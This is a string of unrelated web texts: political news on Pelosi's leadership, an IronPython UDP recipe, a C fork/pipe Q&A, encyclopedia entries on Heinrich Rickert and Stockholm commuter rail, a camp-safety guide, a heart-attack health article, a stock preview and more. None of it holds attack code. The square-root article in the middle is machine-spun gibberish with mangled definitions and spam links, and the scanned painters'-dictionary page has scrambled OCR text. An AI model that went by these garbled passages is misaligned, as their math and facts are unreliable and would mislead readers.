could get Democrats to 2020 before ushering in a new class of younger House members, but has said he won’t challenge Pelosi outright. Ryan is considering another potential Pelosi challenge, after he took her on in 2016 and lost (peeling off one-third of the caucus in the process). Though plenty of other names are swirling for leadership positions, there are few other public direct challenges to Pelosi. Lawmakers say they want to elect a diverse group to leadership, when it comes to race, gender, and age. Perhaps most importantly, they want leaders who can offer a new vision and build coalitions within the caucus to stand up to Trump and Republicans. “When you look at leadership, the top three, you’ve got to look at gravitas,” said Rep. Gerry Connolly (D-VA). When a challenge to Pelosi is even mentioned, House Democrats refer to it in terms of war. “People would run if there’s an opening, but I don’t think they’d risk a civil war in the Democratic Party prior to 2020,” Khanna said. Pelosi’s proponents and even her detractors say Democrats need to stay focused on 2018 before they concern themselves with who will lead them in 2019. But it’s becoming increasingly clear those two things are wrapped up in each other, and there’s a small contingent of lawmakers who say House Democrats need to present new names to challenge Pelosi as part of a larger Democratic change platform. “There will be an insurgency; I just don’t know who’s leading it. But I assure you, I’m as certain of that as I am that today is Wednesday,” Cleaver told reporters recently.
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NEWS-MULTISOURCE
|
Sending Udp Packets
From IronPython Cookbook
A simple class for sending UDP packets over a network.
This uses the System.Net.Sockets.UdpClient class.
from System.Net import IPAddress
from System.Net.Sockets import UdpClient
from System.Text import Encoding
class UdpSender(object):
def __init__(self, port, ipAddress):
self.client = UdpClient(0)
# Only set this if you want to be able to listen
# on the same machine
self.client.MulticastLoopback = True
# No *need* to parse - you can pass in a string
addr = IPAddress.Parse(ipAddress)
# Connecting means that you don't have to specify
# The IP address when we call send.
# For Udp, connecting isn't a requirement though
self.client.Connect(addr, port)
def send(self, message):
bytearr = Encoding.UTF8.GetBytes(message)
self.client.Send(bytearr, bytearr.Length)
To use it, you need a valid port and address. If you want to multicast, you will need a Multicast Address.
This usage example of sending does use multicast group address:
port = 5555
group = "230.29.35.5"
udpSender = UdpSender(port, group)
udpSender.send("Some text")
In fact, because Udp is inherently a connectionless protocol, a minimal send example can be as small as:
from System.Net.Sockets import UdpClient
from System.Text import Encoding
datagram = Encoding.UTF8.GetBytes("Some text")
client = UdpClient()
client.Send(datagram, datagram.Length, hostname, port)
Note that Udp datagrams have a maximum size. See the Udp protocol for more details.
Back to Contents.
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ESSENTIALAI-STEM
|
Heinrich Rickert (politician)
Heinrich Edwin Rickert (27 December 1833 – 3 November 1902) was a German journalist and liberal politician. He was the father of the philosopher Heinrich Rickert.
Biography
Rickert was born in Putzig, West Prussia (Puck, Poland), his father was the head of the local post office and later a customs officer. Rickert attended school in Danzig (Gdańsk) and Thorn (Toruń) and studied economics at the Universities of Breslau (Wrocław) and Berlin.
In 1858, he started to work as a journalist for the newfounded Danziger Zeitung and soon became its editor and owner. In 1863, Rickert became a member of the City council of Danzig, he was a Co-founder of the National Liberal Party in 1866 and, next to Max von Forckenbeck, Ludwig Bamberger and Eduard Lasker, member of the party executive in 1867 and from 1877 to 1880.
Parliamentarian
Rickert was elected a member of the Prussian House of Representatives in 1870 and a member of the German Parliament in 1874. From 1875 to 1878 Rickert was also member and president of the diet of the Province of Prussia until the separation of the province into East and West Prussia in 1878.
In a political conflict about the defense budget, fiscal bills and the Kulturkampf policy Rickert left his party and founded the left-liberal Liberal Union ("Secessionists") in 1880, Rickert led the party and published their "Reichsblatt" since 1882.
In March 1884 the Liberal Union merged with the German Progress Party and formed the German Free-minded Party. Rickert became the co-chairman next to Eugen Richter (1838–1906), but left the party again in a conflict regarding the defense budget in 1893. He and several other former "Secessionists" now formed the Free-minded Union, which was led by Rickert until his death in 1902.
Non-parliamentary activities
Rickert followed Franz Hermann Schulze-Delitzsch as chairman of the Society for adult education ("Gesellschaft für Verbreitung von Volksbildung") and was a leading figure in the founding of the Organization for combatting Anti-Semitism ("Vereins zur Abwehr des Antisemitismus") in 1890. Following the death of Rudolf von Gneist in 1895 Rickert became its president. In 1892, Rickert was a founding member of the German Peace Society.
Rickert strongly supported the foundation of the Technical University of Danzig, which was completed in 1904, and was the chairman of the supervisory board of the Danzig Bank Association (Danziger Bankverein).
Family
Rickert was married to Annette Stoddart (1839–1889), they had two sons, Franz (1872–1939) and the philosopher Heinrich Rickert. Rickert died on 3 November 1902 in Berlin.
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WIKI
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Alotta Warmheart Alotta Warmheart - 2 months ago 21
C Question
C- program using fork won't exit after user inputs 'exit'
We were tasked to create a two-way communication simulation in one c code. It's my first time dabbling with this kind of code so I have created this simple code:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include<wait.h>
int main(void)
{
pid_t pid;
char buf[1024];
char cp[50];
char ex[100]="exit";
int readpipe[2];
int writepipe[2];
long int a;
int b;
a=pipe(readpipe);
b=pipe(writepipe);
int test=1;
int length;
if (a == -1) { perror("pipe"); exit(EXIT_FAILURE); }
if (b == -1) { perror("pipe"); exit(EXIT_FAILURE); }
fflush(stdin);
pid=fork();
if(pid==-1)
{
printf("pid:main");
exit(1);
}
while(test==1)
{
if(pid==0)
{
close(readpipe[1]);
close(writepipe[0]);
if(read(readpipe[0],buf,sizeof(buf)) < 0)
{
exit(1);
}
printf("\nSEND TO USER 1:");
fflush(stdin);
fgets(cp, 50, stdin);
length = strlen(cp);
if(cp[length-1] == '\n') {
--length;
cp[length] = '\0';
}
if(strcmp(cp,ex)==0) {
test=0;
break;
}
if(write(writepipe[1],cp,strlen(cp)+1) < 0)
{
exit(1);
}
}
else
{
close(readpipe[0]);
close(writepipe[1]);
printf("\nSEND TO USER 2:");
fflush(stdin);
fgets(cp, 50, stdin);
length = strlen(cp);
if(cp[length-1] == '\n') {
--length;
cp[length] = '\0';
}
if(strcmp(cp,ex)==0) {
test=0;
break;
}
if(write(readpipe[1],cp,strlen(cp)+1) < 0)
{
exit(1);
}
if(read(writepipe[0],buf,sizeof(buf)) < 0)
{
exit(1);
}
}
}
close(readpipe[1]);
close(writepipe[0]);
close(readpipe[0]);
close(writepipe[1]);
return 0;
}
The program terminates when USER 1 or USER 2 inputs exit. However....
The error is that whenever I press exit, it will print the "SEND TO USER x" first then proceeds to exit. How can I fix this? Any help? Thanks.
Answer
When you type exit into the sending process, it breaks out of the loop, closes its end of the pipes, and exits.
When the other process tries to read from the pipe, it will get an EOF, which is indicated by read() returning 0. But your code never checks for this, it only exits when read() or write() returns a negative value to indicate an error (EOF is not an error). So it goes back to the top of the loop and asks for input to send to the other process. When it tries to write to the closed pipe it will get an EPIPE error or a SIGPIPE signal, and it will then exit.
Change your reading code to:
int n = read(readpipe[0],buf,sizeof(buf));
if (n == 0) {
break;
} else if (n < 1) {
exit(1);
}
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Talk:Fran Christina
Fran Christina Wiki Article
This was started years ago by a paid agency - it was never finished and Fran reached out to me, as an individual, to clean it up and make it to Wiki standards. As of today, it's just a rough draft, combining two versions. I'll re-submit when it's ready. Thanks, Ellis408 (talk) 02:50, 22 November 2023 (UTC)
* I've finished re-writing article and adding references. Should be ready now. Ellis408 (talk) 00:31, 1 December 2023 (UTC)
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WIKI
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Education
Square Root Symbol √ ?
Our square root calculator approximates the square root of any effective range you need. Just enter the chosen variety and take a look at the quit end result. Everything is calculated speedy and automatically! With this tool, you may moreover estimate the rectangular of the favored range (truely input the fee in some other location) which may be very useful in locating the right rectangular from the square root system.
Click here squareroott.com
Are you suffering with number one mathematics operations: such as square roots, subtracting square roots, multiplying square roots or dividing rectangular roots? Is not any more! In the following lesson, you may find a completely unique description of the various square root houses, as an example, numerous examples of the way to simplify rectangular roots. With this text, you can all the time learn how to find the square root!
Have you ever puzzled what’s the origin of the square root image ? We can assure you that this facts is not as clean as you can at the begin think. The beginning of the muse sign goes back to the historical times inside the form of the start vicinity of the proportion sign.
know more about these kinds of stuff here square root of 44
If you’re looking for square root graphs or square root feature houses, cross without delay to the exceptional segment (simply click on on the link above!) There, we explain what the by-product of a rectangular root is, using the easy rectangular root definition; We additionally offer an cause of in element how to calculate the square root of an exponent or the square root of fractions. Finally, in case you’re continual enough, you can locate that the square root of a terrible massive variety is surely possible. In this manner, we introduce complex numbers that locate huge programs in physics and arithmetic.
The characteristic of the rectangular root of pretty numerous have turn out to be already mentioned in ancient times. The earliest clay pill with a accurate charge of = 1.41421 to five decimal locations comes from Babylonia (1800 BC – 1600 BC). Several other files show that the square root modified into also utilized by the ancient Egyptians, Indians, Greeks, and Chinese. However, the beginning area of the precise symbol continues to be in big part speculative.
Many students consider that the rectangular root is derived from the letter “r” – the first letter of the Latin phrase radix that means root,
Another idea states that the rectangular root image turned into derived from the Arabic letter K which modified into on the begin located in the word ر – root (Arabic is written from proper to left).
The first use of the square root photo did no longer consist of the horizontal “bar” at the numbers inside the square root (or radical) photo. In Latin “bar” is called vinculum, this means that that bond. Although the unconventional image with vinculum is now in regular use, we generally pass over this overline in lots of texts, along side in articles on the Internet. The signal of higher tiers of a root has been suggested with the useful resource of Albert Girard, who located the diploma index inside the starting of the basis sign, e.G., or.
The final query is, why is the square root operation called a root irrespective of its real root? The explanation need to become extra smooth if we write the equation x = a in a one of a kind shape: xⁿ = a. X is referred to as a root or radical because of the truth it’s far the hidden base of a. Thus, the word radical does no longer endorse far-reaching or excessive, but important to obtain the premise purpose.
Square Root Definition
In arithmetic, the traditional operations on numbers are addition, subtraction, multiplication, and department. Nonetheless, we once in a while add some greater superior operations and manipulations to this list: rectangular roots, exponents, logarithmic functions, or even trigonometric abilities (eg, sine and cosine). In this text, we are able to cognizance fine on the definition of the square root.
The rectangular root of a given quantity x is every number y whose square y² = y*y offers the unique big variety x. Therefore, the rectangular root device may be expressed as:
x = y x = y²,
wherein is a mathematical symbol which means if and excellent if. Every wonderful actual variety continuously has square roots – the number one is excessive satisfactory and the second one is terrible. However, for masses sensible functions, we normally use the high quality. The exceptional range that has a square root is 0. This is due to the reality 0 = zero and zero is neither wonderful nor poor.
There is also a greater ultra-modern notation of square roots that may be extra convenient in masses of complicated calculations. This possibility square root approach states that the rectangular root of quite more than a few is numerous with a purpose to boom to at the least one 1/2 of of the exponent of the numerator:
x = x^(half) = x^(0.Five)
In the geometric interpretation, the square root of a given region of a square offers the period of its element. Hence the phrase beauty within the name. Similar is the case with dice root. If you take the dice root of the extent of a cube, you get the lengths of its factors. While square roots are used at the equal time as considering surface regions, cube roots are beneficial for figuring out portions associated with, for instance, density.
How To Locate Square Root?
Maybe we’re no longer being polite enough, however we assume that the answer to the query of the manner to discover the square root is straightforward: use the square root calculator! You can apply it to each your laptop and cellular telephone to rapid estimate the rectangular root of a given large range.
Rectangular Root Calculator
In a few cases, you do no longer want to understand the precise cease end result of the square root. If so, our square root calculator can estimate the price of each rectangular root you want.It’s the tremendous desire. For instance, shall we embrace you need to recognize if four√59 is extra than 9. From the calculator, that five 2.23607, so 4√5 4 * 2.23607 = eight.94428. It’s very near nine, however no huge than that! The square root calculator returns the final fee with distinctly excessive accuracy (as a great deal as five digits inside the above instance). With the Significant Digit Calculator, you could calculate this end result for as many good sized figures as you want.
Remember that our calculator mechanically recalculates numbers entered in any place. You can find out the square root of a selected variety by way of filling inside the first window or get the rectangular of the variety entered inside the 2nd window.
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Stockholm commuter rail
Stockholm commuter rail (Stockholms pendeltåg) is the commuter rail system in Stockholm County, Sweden. The system is an important part of the public transport in Stockholm, and is controlled by Storstockholms Lokaltrafik. The tracks are state-owned and administered by the Swedish Transport Administration, while the operation of the Stockholm commuter rail services itself has been contracted to SJ AB since March 2024.
History
Local trains have been operated on the mainline railways around Stockholm since the late nineteenth century. At the beginning, local rail services were part of the Swedish State Railways, but in the late-1960s, the responsibility for these services was transferred to Stockholm County, which incorporated it with the ticketing system of Stockholm Transport. New trains were bought, stations were modernised, and the Stockholm commuter rail network was developed with an aim of making it more metro-like. Originally the system was branded as SL förortståg (SL suburban train), and later as SL lokaltåg (SL local/commuter train). Only in the 1980s did the system officially become known as Stockholms pendeltåg.
In its first year of operation there was only one route which went from Södertälje södra (now Södertälje Hamn) to Kungsängen via Stockholm Central Station. On 1 June 1969, the system was extended to Märsta via a branch located after Karlberg Station (sv) and a new service was created in which trains on the Kungsängen branch terminated at Stockholm C instead. In 1975 another branch line opened to Västerhaninge, with a single-track shuttle service to Nynäshamn. Trains on the Kungsängen branch now terminated at Västerhaninge instead of Stockholm C and which now forms part of the modern line 35.
From 1986 until 1996, important improvements were made to the railways around Stockholm. Single-track stretches were upgraded to double tracks, and some double-track stretches were upgraded to four-track, allowing the commuter trains to run with less interference from other rail services. The service frequency was gradually increased, and from 2001 most stations on the network are served by trains at regular 15-minute intervals, with additional trains during rush hours.
In 2001, the northwestern arm of the network was extended from Kungsängen to Bålsta. A southern infill station at Årstaberg was inaugurated in 2006, in order to connect with the then new Tvärbanan tram system. A new station at Gröndalsviken opened on the southeastern Västerhaninge-Nynäshamn shuttle on 18 August 2008.
Since 9 December 2012, it has been possible for Stockholm commuter rail trains to stop at Stockholm Arlanda Airport. Journeys take 38 minutes from Arlanda C station to Stockholm C, and 18 minutes from Arlanda C to Uppsala C. Discussions on the expansion began in December 2007. The airport has had express service from Stockholm Central through Arlanda Express since 1999, and was also reachable by bus from Märsta station. The implementation required negotiations between Stockholm Transport and Arlanda Express, who had operating rights for the tracks.
A rail tunnel underneath central Stockholm began construction in 2008 and opened on 10 July 2017. This new tunnel, known as Stockholm City Line (Citybanan; lit. ‘the city line’), is intended for the exclusive use of the Pendeltåg system, and splits commuter traffic onto separate tracks from long-distance trains while travelling through the city. This eases the rail systems' congestion problems, and permits Stockholm Transport to schedule more frequent service. It also allows more frequent service for other trains, increasing the capacity for large parts of the Swedish rail network since many trains go to and from Stockholm. Two new underground stations, Stockholm City Station (located under T-Centralen, both stations with connections to Stockholm Central Station) and Stockholm Odenplan station; located under Odenplan metro station, replacing Karlberg Station) were built as part of the Citybanan project.
A new station called Vega, located on the Nynäs Line in Haninge Municipality between Skogås and Handen stations, opened on 1 April 2019 after almost four years of construction. Vega was also the name of a small halt on the Nynäs Line which existed between 1929 and 1973, although it was built at a different location from the current Vega station.
Operation of the Stockholm commuter rail lines has been contracted to private companies since 2000. The first franchise holder was Citypendeln (sv), which operated the Stockholm commuter rail from 2000 until 17 June 2006. From 18 June 2006 until 10 December 2016, the network was operated by Stockholmståg (sv), a subsidiary of SJ AB, the former Swedish State Railways company. On 11 December 2016, MTR Nordic took over the franchise on a ten-year contract, with an option to extend for a further four. In May 2023, SL decided not to extend MTR Nordic's contract to operate the Stockholm commuter rail beyond 2026, citing service delivery issues. On 1 November 2023, SL awarded an emergency contract to SJ AB, which took over operations from March 2024.
Lines
After the rerouting of December 2017, there are two lines on most railways, with different destinations. On top of this, some trains are from this time quick skip-stop trains, 42X and 43X (named with an X after the line number), which skip around four stops per tour.
The shorter line 48 in the southwest connects Gnesta to Södertälje. Line 40 connects Uppsala C in the north to Södertälje in the southwest via Arlanda C, Upplands Väsby and Stockholm City Station, this branch from Uppsala C to Upplands Väsby (where it joins line 41 to Södertälje) used by Line 40 utilises the existing infrastructure of the Arlanda Line and a part of the East Coast Line sharing tracks and platforms with regional and long distance trains.
The line to Nynäshamn beyond Västerhaninge is mostly single track with passing loops. Previously, short platforms and limited passing places meant that a change of train had to be made in Västerhaninge, but as of 2013 the line has been improved with longer platforms and additional loops, and all services are now run through to Stockholm and Bålsta.
Trains operate every 30 minutes from 5 am to 1 am every day, with 15-minute intervals during the daytime. Additional trains during rush hours give an average of $7 1/2$ minutes intervals for many stations, and trains every $4 1/2$ minutes on the central parts. Line 40, 48 and the outer parts of the railway to Nynäshamn (from Västerhaninge) are served less frequently, with up to one hour between trains on weekends.
As of 2022, 342,000 passengers use Stockholm commuter trains on an ordinary weekday. This is almost half of the total number of train passengers in Sweden, the metro and trams not included.
Stations
There are 53 stations in the network, four of which are beyond the borders of Stockholm County. Eight stations connect with regional and long-distance trains, three connect with the light-rail tram system Tvärbanan, and four stations have access to the Stockholm metro. Several stations are important interchanges to local buses.
Most stations are of a similar style, with an island platform in a ground-level location with one or two exits, turnstiles, and a staffed ticket office. A few interchange stations have multiple platforms. The stations south of Västerhaninge and Södertälje are smaller, and have no ticket vending facilities; passengers buy their tickets from the train conductor on these parts of the network. The smallest station is Hemfosa, which has approximately 100 boarding passengers per day.
The stations are marked with a J symbol, which just stands for the generic term "järnvägsstation" (i.e. railway station) and is similar to the T symbol used by the Stockholm underground railway stations ("tunnelbanestation").
Rolling stock
Since the opening of the Stockholm City Line (Citybanan) on 10 July 2017, only one train type, the X60 Coradia Nordic trains from Alstom is currently used on the network, due to the use of platform screen doors on the Citybanan. A total of 71 X60 trains were delivered between 2005 and 2008 to replace secondhand X420 trains previously operated by Deutsche Bahn in Germany, and which were imported into Sweden by the then-operator Citypendeln to temporarily increase capacity on the Pendeltåg network. A full-length train with two X60 units measures 214 m. In 2016, 46 trains of a new generation of the Coradia Nordic family called X60B entered service to replace the X10 trains originally delivered between 1983 and 1993. The maximum speed of the X60 and X60B trains is 160 km/h.
Former
* X1 (from 1968 until 2011)
* X10 (from 1983 until 2017)
* X20/X23 (from 2001 until 2002)
* DSB Bn passenger coaches hauled by SJ Rc locomotives (from 2001 until 2003)
* X420 (from 2002 until 2005)
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Adventist Youth Honors Answer Book/Recreation/Camp Safety - Advanced
1. Earn the following honors if not already earned: a)Camping Skills I-IV b)Camp Safety
See the following chapters for tips and instructions on earning these honors:
* ../Camping Skills I/
* ../Camping Skills II/
* ../Camping Skills III/
* ../Camping Skills IV/
* ../Camp Safety/
2. What is meant by “Pathfinders are a sacred trust” and how does camp safety support that aspect of ministry in the church?
When parents allow their children to join Pathfinders, they have certain expectations of what will go on at the meetings and outings. Staff must be constantly vigilant of anything that could threaten the safety of any Pathfinder, and must not be hesitant to intervene when boundaries are crossed. This however, deals only with physical safety.
Not only are the staff to keep the children safe at all times, they are also to serve as a Christian example. They are to provide spiritual leadership to those in their care. If the Pathfinder experience is not pointing the Pathfinder to Christ, the leaders are not executing their duties properly.
Remember this text from Matthew:
3. Train a Pathfinder Unit or its equivalent in the Camping Safety Honor
See ../Camp Safety/ for tips and instruction on teaching this honor.
4. Conduct 5 camp site inspections (on at least two camping experiences) using the current Adventist Risk Management Pathfinder Camp Safety Inspection Form or its equivalent.
Some conferences have the TLT's conduct camp site inspections during the Camporees. If this is the case in your conference, it makes an excellent opportunity to meet this requirement. Otherwise, it can be met by conducting a formal inspection during a club campout. Here are some of the things to check for:
* First Aid Kit
* Complete
* Accessible
* Well marked
* Medical Release Forms
* Each Pathfinder should have a copy of their own
* Each Staff member should have copies for all Pathfinders under their care.
* Master copies should be in a central location
* Fire Safety
* Fire extinguishing equipment present (unless no fire is to be lit)
* Perimeter around fire pit is neat and free from obstructions
* Fire is confined to a proper fire ring
* Tents
* Properly pitched
* All ropes and guy lines are tight
* Sleeping bags and luggage are neat
* Adults and children in separate tents
* Boys' and girls' tents are properly separated
* Kitchen Area
* Food is secured against animals
* Food is stored at a safe temperature
* Kitchen and dishes are clean
* Fire extinguisher accessible and near stove
* Area is neat and free from tripping hazards
* General Campsite Area
* Clearly marked entrance
* Neat
* Free from tripping hazards
* Tools are stored properly
* Potentially dangerous tools are secured away from young hands
* Pathfinders have proper supervision at all times
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Talk:үнүш
This pronunciation looks like transliteration rather than IPA. Shoudn't be /ynyʃ/? Maro 21:33, 29 October 2011 (UTC)
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Page:Bryan's dictionary of painters and engravers, volume 1.djvu/28
many; father, a landscape painter, and subsequently studied at Kensington. After several sketching tours in Scotland he settled there in 1871. Previously, Scottish Academy--first in 1868. He was elected an associate of that body in 1884, and a full Strutt member in 1892. In 1887 he established a school for animal painting at Craigmill, near Stirling.
Adam possessed great skill as a painter of sheep National Gallery of Scotland by his diploma work "Evening-Strathspey,' which appeared at the however, his works had appeared at the Royal Scottish Academy in 1892, and at the Paris Salon in 1894. Latterly he exhibited occasionally both at Paris and Diunich. He died at Glasgow
ADAM, P., an English engraver, who flourished about the year 1690, executed a few etchings of landscapes in a tasteless style. In one of them, which is engraved in the manner of Mellan, with out any cross hatchings, a figure is represented seated on a bank. He usually signed by his father Benedetto Adolfi. He possessed a P. A. inore fertile genius than his brother, and a greater P and A being joined together.
ADAM, PETER, & German engraver, flourished about 1730. Heineken inentions six landscapes by a master of this name, probubly the same. He is also supposed to have painted some pictures, which have the same monogrum as the prints.
ADAM, Robert, the son of an architect, born at Kirkcaldy, in Fifeshire, in 1728. After had received a good education at Edinburgh, his father sent him to study the fine specimens of Roman architecture in Italy, where he remained several years. On his return to England, appointed architect to the king. He died in Lon- don in 1792. During his residence on the Conti- nent he had made drawings of the famous Palace of Diocletian, at Spalatro in Dalmatia, and in 1764 published in conjunction with Clérisseau, a voluine in folio, entitled Ruins of the Palace of Diocle- tian, at Spalatro in Dalmatia,' with sixty-one well- engraved plates from his designs.
ADAMI, PIETRO, born at Rome, excelled in marine subjects; he painted about the year 1730 ; little else is known of his history.
ADAMO TEDESCO. See ELSHEIMER.
ADAMS, CHARLES, mentioned by Heineken as the engraver of an equestrian portrait of Charles I. of England.
ADANS, ROBERT, an architect and engraver, was born in London in 1540. His eninence in his profession procured him the situation of surveyor of the works and architect to Queen Elizabeth. He made a set of drawings representing the battles between the English fleet and the Spanish Armada, which were engraved by Augustus Ryther, and published in 1589; they have now become scarce. Adams died in 1595.
ADDA, FRANCESCO, Conte d', a Milanese amateur painter, scholar and imitator of Leonardo da Vinci, painted small pictures on panel and slate for private cabinets. The Conte d'Adda died in 1550.
ADLER, PHILIPP, born at Nuremberg in 1481, is called (erroneously) by Florent le Comte, Adler Paticina. He mentions a plate by him of .S. Christopher carrying the Infant Jesus,' dated 1518. The print, described by Strutt as his best per- formance, represents an altar, with the Virgin Mary crowned, and a fernale Saint holding the Infant Christ; it was engraved by David Hopfer, whose mark, when the print is perfect, is at the bottom of the plate. The inscription on the tab-let, Hoc opus fecit PeilIPUS ADLER PATRICIUS, MDXVIII., most probably relates to the altar having been erected by Philipp Adler. In the print had seen, the mark of Hopfer had probably been cut off.
ADMIRAAL, B., was a Dutch painter, who flour-ished in 1662, as appears by a picture, with the name and date, representing the entrance to a city, with numerous figures, many of them in Oriental costume; the style is similar to that of Weenix and Thomas Wyck, but displays a less delicate pencil than either.
ADOLFFZ, — By this engraver, who, from his name, appears to have been a native of Germany, we have a portrait of the Duc de Biron, Marshal of France, on horseback. It has now become scarce. in 1896.
ADOLFI, CIRO, the younger brother of Giacomo, was born at Bergamo in 1683, and was instructed facility, and distinguished himself by some con-siderable fresco paintings in the public edifices in the city of Bergamo, and in the state. He died in 1758. His principal works are:
Bergamo. S. Alessandro d.Croce. Four Evangelists. Deposition from the Cross. Decollation of St. John. he Colognola. Parish Church.
Another brother, of the name of NICOLA, painted battle-pieces; his death is not recorded.
ADOLFI, GIACOMO, was, according to Tassi, he was born at Bergamo in 1682. He was the son of Benedetto Adolfi, a painter little known, and had not the advantage of any instruction that of his father. He painted historical subjects. Amongst several of his works in the churches at Bergamo, his picture of the Crowning of the Vir-gin, in the church of the monastery Del Paradiso, is esteemed one of his best productions. The Adoration of the Magi," in the church of Sant Alessandro della Croce, is another admired picture by this master. He died in 1741.
ADONE. See Doni. ADONIS. See DE BRUIJN, CORNELIS. DRIAENS, LUCAS (or ADRIAENNSSON), a native of Antwerp, was admitted into the Guild of St. Luke in 1459, and five times held the post of dean to the society. He co-operated the cele-brated Entremets' at Bruges in 1468. He died about 1493.
ADRIAENSSEN, ALEXANDER. the elder, under Artus van Laeck, and in 1597-98- entered, as a scholar of that master, the Guild of Painters at Antwerp, of which company he became a free member in 1610-11. Adriaenssen worked at Antwerp, and there enjoyed the friendship of Van Dijck, who painted his portrait, which has been engraved by Anton van der Does. He died in his native city in 1661, and was buried in the church of St. James.
The subjects of his pictures are sometimes flowers and fruit, which he grouped and arranged with considerable tnste, but he particularly ex- celled in the painting of fish, to which he gave a surprising appearance of truth and nature; representing them with a fresliness and glittering effect of colour that produces perfect illusion. His works in this way, which are highly finished
superior to born A
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Men’s Health: Do You Know the Signs of a Silent Heart Attack?
Think you know what you’d feel like if you were having a heart attack? Think again.
Silent heart attacks, known as a silent myocardial infarction (SMI), account for 45 percent of heart attacks. And they are more likely to strike men than women.
These heart attacks are mistaken for less serious problems, increasing your risk of dying.
Don’t be one of those people who waits too long before getting help. Knowing the signs and taking them seriously can save your life.
What Is a Silent Heart Attack?
These types of heart attacks are described as "silent" because when they happen, their symptoms may not seem like a classic heart attack. There may be no extreme chest pain and pressure. No stabbing jaw, neck or arm pain. No overwhelming sudden shortness of breath, dizziness or sweating.
Symptoms can pass quickly and feel mild, but silent heart attacks damage your heart and can lead to life-threatening problems. Silent signs may include:
• Fatigue or an ache or pain
• Mild pain in the throat
• Mild pain in the center of the chest
The symptoms can easily be confused with indigestion or general aches or pains, leading men to ignore them. But a silent myocardial infarction is just as dangerous as other heart attacks.
Let your doctor know if you think you may be having symptoms. You can decide together if you need to have testing or see a heart specialist.
What Can You Do?
Take it seriously. Heart disease is the leading cause of death in the U.S. The best ways to protect yourself are awareness and prevention.
Do what you can to lower your risk. The risk factors for silent heart attacks are the same as any other heart attack. They include smoking, being overweight and not exercising. Health conditions like high blood pressure and high cholesterol levels raise your risk, as does diabetes. Getting those health problems under control is important for your overall health and safety.
To lower your risk:
• Know the signs of a heart attack.
• Keep your weight, blood pressure and cholesterol in a healthy range.
• Talk to your doctor about those numbers and ask if medication is needed.
• Don’t smoke or use tobacco.
• Limit alcohol use.
• Try to exercise most days of the week.
Don’t skip preventive health care. Men tend to go to the doctor less often than women for annual checkups, says Johns Hopkins Medicine. That means they may not get important routine tests for cholesterol, blood pressure and blood sugar. Those tests help gauge heart health.
Skipping preventive exams and screenings also means men are less likely to find out if they have damage called myocardial scars from a silent heart attack. One study found that 80 percent of people who had myocardial scarring were not aware of it. And the study found that men were five times more likely to have myocardial scarring than women.
Don’t assume you’re too young to worry about it. Some men with a family history of early heart attacks can be at risk as early as their 30s or 40s. Learn your family history and talk to your doctor about it.
Ask for help. If you’re feeling depressed, don’t ignore it. Depression is linked to heart disease. Many men try to mask depression by self-medicating or other unhealthy behaviors rather than getting help. If you’ve consistently been feeling sad or hopeless for longer than a few weeks, talk to your doctor.
Manage stress. Stress can raise your blood pressure. Extreme stress can be a "trigger" for a heart attack. And some ways people cope with stress, like overeating, excessive drinking and smoking, are also bad for your heart. Better ways to address stress: working out or other active hobbies, listening to music, getting outdoors, and meditation.
Control diabetes. Having diabetes doubles your risk of heart disease, says U.S. National Library of Medicine. That’s because high blood sugar from diabetes can harm your blood vessels and the nerves that control your heart. It is vital to get tested for diabetes, and if you have it, to keep it under control.
Make time for sleep. Not getting enough sleep can also raise your risk for high blood pressure, obesity and diabetes. And all of those can increase your risk for a heart attack. Most adults need at least seven hours of sleep per night. If you regularly have sleep problems, talk to your doctor.
Take steps to protect your heart and health now. And if you ever think you might be having a heart attack, don’t hesitate. Call 911 right away.
Sources: The danger of “silent” heart attacks, Harvard Medical School, 2020; Heart Disease Facts, Centers for Disease Control and Prevention, 2020; 5 Heart Health Mistakes Made by Men - and How to Avoid Them, Johns Hopkins Medicine; How to Prevent Heart Disease, U.S. National Library of Medicine, 2021
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Geissleite
Geissleite is a hill within Bavaria, Germany, located in the Upper Palatinate Forest. It is home to a telecommunications tower that stands at 118m and the hill stands at 636m tall.
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3 Things to Watch in the Stock Market This Week
Stocks fell hard last week, as both the Dow Jones Industrial Average (DJINDICES: ^DJI) and the S&P 500 (SNPINDEX: ^GSPC) shed over 2%. The indexes are near their lows for the year, down 9% and 12%, respectively.
While geopolitical worries will continue affecting markets, earnings season will cause more swings in companies with fourth-quarter announcements on the way. Vail Resorts (NYSE: MTN), GameStop (NYSE: GME), and FedEx (NYSE: FDX) are among the most anticipated earnings reports to watch.
Let's take a closer look.
Image source: Getty Images.
1. Vail Resorts' visitor trends
Thanks to a midseason update, we already know that Vail Resorts had a brutal start to its peak ski season. The rise of the omicron variant combined with poor weather to push ski visits down through late December, management said in mid-January. Traffic at resorts was even lower compared to late 2020, when COVID-19 was canceling nearly all travel.
Vail's earnings report on Monday afternoon will show whether that tough start gave way to better demand trends in January and February. Watch ski lift volumes for signs of that rebound, with stronger growth likely pushing up categories like dining and ski school trips.
Vail's long-term strategy involves pouring cash into upgrading its resorts to offer a more premium resort experience. That's a key reason to watch cash flow, which might be pressured by a second straight year of soft demand during peak ski season.
2. GameStop's 2022 outlook
Its meme stock status made GameStop one of the more volatile stocks in the past year, but Thursday's earnings announcement is an opportunity to bring hard numbers into the conversation. The video game retailer's shares are down so far in 2022, partly because meme stocks have lost some of their luster. There are more practical worries about the business, too, after Best Buy indicated recently that the video game niche slowed significantly over the holiday season.
We'll find out on Thursday whether that slump hurt GameStop's recovery. Heading into the announcement, most investors are looking for sales to rise by about 4% to $2.2 billion in the chain's biggest quarter of the year.
Meanwhile, watch management's new outlook for evidence that sustainable growth is on the way. GameStop struggled to deliver reliably strong sales gains even before the industry shifted into a mostly digital selling model. Investors are right to wonder whether the retailer can do any better as gamers increasingly buy directly from publishers and console platforms.
3. FedEx's profitability
FedEx announces its fiscal third-quarter results on Thursday afternoon, and expectations are modest heading into the announcement. The package delivery giant probably saw robust demand as more commerce occurred online in late 2021. However, those gains will be offset by rising transportation costs, higher wages, and staffing shortages. The wider Q3 results will depend on how well FedEx managed through those challenges.
FDX Operating Margin (TTM) data by YCharts
CEO Frederick Smith and his team might issue a conservative 2022 outlook especially for FedEx's European business. That segment might see significant pressures from economic disruptions tied to geopolitical strife.
But FedEx is still likely to keep spending aggressively on improving its global infrastructure, and returning cash to shareholders through dividends and buybacks, in the year ahead.
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The views and opinions expressed herein are the views and opinions of the author and do not necessarily reflect those of Nasdaq, Inc.
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I just announced the new Spring Boot 2 material, coming in REST With Spring:
>> CHECK OUT THE COURSE
1. Overview
In this article, we are going to explore low-level operations with Java network programming. We’ll be taking a deeper look at Cookies.
